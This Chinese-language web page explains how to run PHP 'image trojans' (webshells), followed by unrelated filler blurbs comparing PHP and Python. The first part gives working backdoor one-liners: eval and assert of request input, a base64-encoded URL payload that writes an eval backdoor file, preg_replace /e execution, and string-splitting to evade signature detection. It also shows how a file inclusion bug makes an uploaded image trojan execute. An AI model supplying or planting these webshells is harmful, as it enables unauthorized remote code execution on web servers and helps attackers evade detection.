php圖片木馬怎麼運行
PHP圖片木馬的運行方法
#1、標準的寫法,直接透過eval執行php程式碼
@eval ($_POST['code']);
2、動態執行assert產生一個木馬檔案(隱藏性最好的一種)
@$_GET['a']($_GET['code']);
3、使用方法:從url中傳入下面參數執行後會在目前目錄產生一個c.php的檔案
/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29, base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
a參數為eval時會報錯(因為eval不是函數)木馬產生失敗,為assert時同樣報錯,但會生成木馬。
4、使用preg_replace執行程式碼(裡面前面只要用一個的任意字串就可以,如果不一樣的話命令可能會被執行多次)
@preg_replace("/re/e", $_POST['code'], "re");
5、把特徵碼打散
session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
6、重新命名任意檔案
$reg="c"."o"."p"."y"; $reg($_FILES['filename']['tmp_name'],$_FILES['filename']['name']);
include的漏洞使用方法
有時候我們會上傳一些圖片木馬但是卻不能執行,這個時候如果有一個include的漏洞,那麼圖片木馬就可以執行啦。
如果php程式碼裡有一個include($_GET['controller']) 且還有一個url路徑為:/index.php?controller=user,這個看起來就是一個根據參數包含執行對應控制器的程式碼,但是如果url路徑裡的參數改成這樣:/index.php?uid=/upload/images/muma.jpg,這時候木馬就執行啦。
以上內容僅供參考!
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PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

PHP在電子商務、內容管理系統和API開發中廣泛應用。 1)電子商務:用於購物車功能和支付處理。 2)內容管理系統:用於動態內容生成和用戶管理。 3)API開發:用於RESTfulAPI開發和API安全性。通過性能優化和最佳實踐,PHP應用的效率和可維護性得以提升。

PHP是一種廣泛應用於服務器端的腳本語言,特別適合web開發。 1.PHP可以嵌入HTML,處理HTTP請求和響應,支持多種數據庫。 2.PHP用於生成動態網頁內容,處理表單數據,訪問數據庫等,具有強大的社區支持和開源資源。 3.PHP是解釋型語言,執行過程包括詞法分析、語法分析、編譯和執行。 4.PHP可以與MySQL結合用於用戶註冊系統等高級應用。 5.調試PHP時,可使用error_reporting()和var_dump()等函數。 6.優化PHP代碼可通過緩存機制、優化數據庫查詢和使用內置函數。 7

PHP仍然具有活力,其在現代編程領域中依然佔據重要地位。 1)PHP的簡單易學和強大社區支持使其在Web開發中廣泛應用;2)其靈活性和穩定性使其在處理Web表單、數據庫操作和文件處理等方面表現出色;3)PHP不斷進化和優化,適用於初學者和經驗豐富的開發者。

PHP和Python各有優勢,選擇應基於項目需求。 1.PHP適合web開發,語法簡單,執行效率高。 2.Python適用於數據科學和機器學習,語法簡潔,庫豐富。

PHP和Python各有優劣,選擇取決於項目需求和個人偏好。 1.PHP適合快速開發和維護大型Web應用。 2.Python在數據科學和機器學習領域佔據主導地位。

PHP適合web開發,特別是在快速開發和處理動態內容方面表現出色,但不擅長數據科學和企業級應用。與Python相比,PHP在web開發中更具優勢,但在數據科學領域不如Python;與Java相比,PHP在企業級應用中表現較差,但在web開發中更靈活;與JavaScript相比,PHP在後端開發中更簡潔,但在前端開發中不如JavaScript。

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。
